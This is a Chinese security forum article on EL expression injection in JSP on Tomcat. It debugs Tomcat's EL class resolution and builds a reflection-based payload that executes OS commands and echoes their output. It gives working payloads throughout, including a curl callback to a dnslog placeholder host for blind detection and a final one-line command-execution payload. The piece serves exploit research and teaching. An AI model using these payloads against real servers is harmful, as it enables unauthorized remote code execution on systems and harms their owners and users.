EL表达式多用于JSP,官方给出的El表达式的examplehttps//javaee.github.io/tutorial/jsf-el007.html可以发现,EL表达式支持基础的计算和函数调用。并且在EL表达式中还提供隐式对象以便…
EL表达式多用于JSP,官方给出的El表达式的example:
https://javaee.github.io/tutorial/jsf-el007.html
可以发现,EL表达式支持基础的计算和函数调用。并且在EL表达式中还提供隐式对象以便开发者能够获取到上下文变量。基础的EL表达式可参考文章:
https://www.tutorialspoint.com/jsp/jsp_expression_language.htm
下面直接进入主题,本文的环境为:
jdk8u112
Tomcat9.0.0M26
思路梳理
在EL表达式中,要做到执行Runtime#exec
并不难,只需要一行表达式:
${Runtime.getRuntime().exec("cmd /c curl xxx.dnslog.cn")}
可这样子只能做基本的检测和盲打,如果目标不出网或不知道网站绝对路径时,将不方便EL
注入的探测。
写普通的Java代码的话,我们知道可以使用inputStream()
来获取Runtime#exec
的输出,然后打印出来,如下:
Runtime#exec
Demo
try {
InputStream inputStream = Runtime.getRuntime().exec("ipconfig").getInputStream();
Thread.sleep(300); //睡0.3秒等InputStream的IO,不然`availableLenth`会是0
int availableLenth = inputStream.available();
byte[] resByte = new byte[availableLenth];
inputStream.read(resByte);
String resString = new String(resByte);
System.out.println(resString);
} catch (Exception e) {
e.printStackTrace();
}
不过EL表达式的实现其实是由中间件(Tomcat)进行解析,然后反射调用的。所以实际上写EL表达式只能写函数调用,不能在EL表达式中写诸如 new String();
、int a;
这些操作。
但正常函数调用是能用的,比如本节开头执行Runtime#exec
的表达式。
EL表达式中有许多隐式对象,如pageContext
,可以通过这个对象保存属性,如:
此时一个想法便油然而生:
- 使用
pageContext
保存Runtime#exec
的inputStream
inputStream#read
会将命令执行结果输入到一个byte[]
变量中,但EL表达式不能直接创建变量。得想办法找到一个存在byte[]
类型变量的对象,借用该对象的byte[]
作为inputStream#read
的参数- 使用反射创建一个
String
,并将第2步的byte[]
存入这个String
中 - 输出该
String
经过这四个步骤,理论上应该能获取到命令执行的回显了。
保存 Runtime#exec
的inputStream
这个步骤很简单,就一句EL表达式就能搞定,如下:
${pageContext.setAttribute("inputStream", Runtime.getRuntime().exec("cmd /c ipconfig").getInputStream())}
调试也可发现pageContext.attributes
存入了inputStream
寻找存在byte[]
的对象
一开始我是直接在pageContext
中寻找有无符合的对象。确实有,找到了pagaContext.response.response.outputBuffer
:
可是实验之后发现不这个不太好,理由:由于我并没有分析过Tomcat源码,但猜测该变量应该是控制Response
二进制输出的,如果直接让inputStream直接覆写掉这个变量,担心引发奇怪的问题。并且直接覆写上下文对象的属性感觉太粗暴了,希望能找一种对Tomcat干预最少的方式。
最后找到了**java.nio.ByteBuffer
**,该类可以创建一个指定大小的byte[]
。在java中的用法如下:
java.nio.ByteBuffer Demo
ByteBuffer allocate = ByteBuffer.allocate(100); #静态调用
byte[] a = allocate.array();
尝试在El表达式中使用:
java.nio.ByteBuffer EL Demo
${pageContext.setAttribute("byteBuffer", java.nio.ByteBuffer.allocate(100))}
${pageContext.setAttribute("byteArr", pageContext.getAttribute("byteBuffer").array())}
调试时发现,并没有如愿的将之存放到pageContext.attributes
中
猜测可能是执行java.nio.ByteBuffer.allocate(100)
报错了,需要调试${pageContext.setAttribute("byteBuffer", java.nio.ByteBuffer.allocate(100))}
,看看其是如何被解析的。也不用研究太深,简单看看问题即可。
追踪ByteBuffer.allocate
报错
调试${pageContext.setAttribute("byteBuffer", java.nio.ByteBuffer.allocate(100))}
。中间件对这一行的解析调用在
org.apache.jasper.runtime.PageContextImpl
PageContextImpl#proprietaryEvaluate
跟进ve.getValue(ctx);
。发现在ValueExpressionImpl.node
成员变量中,存放着已经简单解析过的EL表达式
ValueExpressionImpl#getValue
这个节点可以抽象表示成这样:
node
0 - pageContext
1 - setAttribute
2 -
0 - byteBuffer
1 -
0 - java
1 - nio
2 - ByteBuffer
3 - allocate
4 -
0 - 100
对比下我们原版EL表达式:
${pageContext.setAttribute("byteBuffer", java.nio.ByteBuffer.allocate(100))}
可以发现,Tomcat将我们的EL表达式划分成了节点的结构,按照()
划分父节点
和子节点
,按照.
划分同级节点
跟进this.getNode().getValue(ctx);
。在getValue()
中,对node
进行了迭代操作。
在mps.getParameters(ctx)
这一行中,getParameters()
函数是解析子节点
的操作,跟进。我们的目的是查找为什么java.nio.ByteBuffer.allocate(100)
不生效,所以解析表达式是需要跟进调试的
AstValue#getValue
跟进到getParameters()
函数。该函数作用是通过循环调用各个child
的getValue()
方法。如果是child
是Node
类型,则会调用上文的AstValue#getValue
形成递归,直到拿到最底层的node
。
不要忘记我们目标是查找java.nio.ByteBuffer.allocate(100)
不生效的问题。所以我们需要在循环中步过到解析java.nio.ByteBuffer.allocate(100)
时再跟进调试
AstMethodParameters#getParameters
跟进this.jjtGetChild(i).getValue(ctx)
,此时将会递归调用回AstValue#getValue
。
该方法的第一行创建了一个base
。值得注意的是在while()
中若base
为null
,就会直接return base
。
while()
是执行 EL表达式调用方法 的代码块,感兴趣可以自己调试下。
跟进this.children[0].getValue(ctx);
中,发现又调用了一个getValue()
AstIdentifier#getValue
跟进ctx.getELResolver().getValue(ctx, null, this.image);
。发现又调用了resolvers[i].getValue
跟进resolvers[i].getValue(context, base, property);
。根据函数名猜测resolveClass()
函数是对El表达式进行类解析。
ScopedAttributeELResolver#getValue
跟进importHandler.resolveClass(key);
发现,该函数确实是对EL表达式里的字符串进行“类解析”。
首先一开始判断字符串是否在clazzes
中,这个变量存放着之前解析过的类。如果同名就直接复用。
ImportHandler#resolveClass
一路跟进下去,最终发现类加载的范围只在四个包下
java.lang
javax.servlet
javax.servlet.http
javax.servlet.jsp
ImportHandler#resolveClass
java.nio.ByteBuffer.allocate(100)
不生效的问题找到原因了,因为el的类加载机制并没有java.nio
包,并且还不支持全类名输入。
看到这里可能小伙伴会好奇:EL解析时将字符串按.
进行了分割,如果认为每一个.
分割的字符串都是一个新类并以此解析类名的话,那类的方法不就无法被正常解析嘛?如下面的例子:
Runtime.getRuntime.exec("calc")
按照EL表达式的解析,这个字符串会被解析成这样:
0 - Runtime
1 - getRuntime
2 -
null
3 - exec
4 -
0 - "calc"
EL解析时肯定会找不到getRuntime
和exec
的类的。那EL解析时是如何认为这俩是一个方法的呢?
答案在一开始的AstValue#getValue
中。如下:
1
- 在一开头就将第0个解析字符串,即Runtime
丢去解析类(注意这里有很多重递归)2
和3
- 循环所有其他索引从1开始的节点。并对之进行invoke()
操作
这就是EL解析类及调用类方法的大致过程。
实例化ByteBuffer类的Bypass
既然不能直接使用java.nio
包下的ByteBuffer
。那我们用反射搓一个出来不久可了嘛?
修改Poc如下:
//执行系统命令
${pageContext.setAttribute("inputStream", Runtime.getRuntime().exec("cmd /c ipconfig".getInputStream())}
//停一秒,等待Runtime的缓冲区全部写入完毕
${Thread.sleep(1000)}
//读取Runtime inputStream所有的数据
${pageContext.setAttribute("inputStreamAvailable", inputStream.available())}
//通过反射实例化ByteBuffer,并设置heapByteBuffer的大小为Runtime数据的大小
${pageContext.setAttribute("byteBufferClass", Class.forName("java.nio.ByteBuffer"))}
${pageContext.setAttribute("allocateMethod", byteBufferClass.getMethod("allocate", Integer.TYPE))}
${pageContext.setAttribute("heapByteBuffer", allocateMethod.invoke(null, inputStreamAvailable))}
成功调用,pageContext
中也有对应的值。
有了合适大小的byte[]
后,接下来要做的事情就很简单了:将Runtime,inputStream
的byte[]
传给heapByteBuffer
。
Poc如下:
......
${pageContext.getAttribute("inputStream").read(heapByteBuffer.array(), 0, inputStreamAvailable)}
......
接下来就是将byte[]
类型的数据转换成String
,以便能直接在网页上回显。常规的方法就是使用new String(byte[])
来实现。
这里有几点需要注意:
- 由于不能直接用
new
,我们只能通过反射来拿到String
实例 - 反射调用
String#String
时,需要指定传参类型的对象。但是似乎没有Byte[].TYPE
这种东西。不过我们可以通过byteArrType
里的byte[]
,用getClass()
得到byte[]
类型对象。
......
//获取byte[]对象
${pageContext.setAttribute("byteArrType", heapByteBuffer.array().getClass())}
//构造一个String
${pageContext.setAttribute("stringClass", Class.forName("java.lang.String"))}
${pageContext.setAttribute("stringConstructor", stringClass.getConstructor(byteArrType))}
${pageContext.setAttribute("stringRes", stringConstructor.newInstance(heapByteBuffer.array()))}
//回显结果
${pageContext.getAttribute("stringRes")}
压缩成一句话
${pageContext.setAttribute("inputStream", Runtime.getRuntime().exec("cmd /c dir").getInputStream());Thread.sleep(1000);pageContext.setAttribute("inputStreamAvailable", pageContext.getAttribute("inputStream").available());pageContext.setAttribute("byteBufferClass", Class.forName("java.nio.ByteBuffer"));pageContext.setAttribute("allocateMethod", pageContext.getAttribute("byteBufferClass").getMethod("allocate", Integer.TYPE));pageContext.setAttribute("heapByteBuffer", pageContext.getAttribute("allocateMethod").invoke(null, pageContext.getAttribute("inputStreamAvailable")));pageContext.getAttribute("inputStream").read(pageContext.getAttribute("heapByteBuffer").array(), 0, pageContext.getAttribute("inputStreamAvailable"));pageContext.setAttribute("byteArrType", pageContext.getAttribute("heapByteBuffer").array().getClass());pageContext.setAttribute("stringClass", Class.forName("java.lang.String"));pageContext.setAttribute("stringConstructor", pageContext.getAttribute("stringClass").getConstructor(pageContext.getAttribute("byteArrType")));pageContext.setAttribute("stringRes", pageContext.getAttribute("stringConstructor").newInstance(pageContext.getAttribute("heapByteBuffer").array()));pageContext.getAttribute("stringRes")}
- 本文作者: Xiaopan233
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/886
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!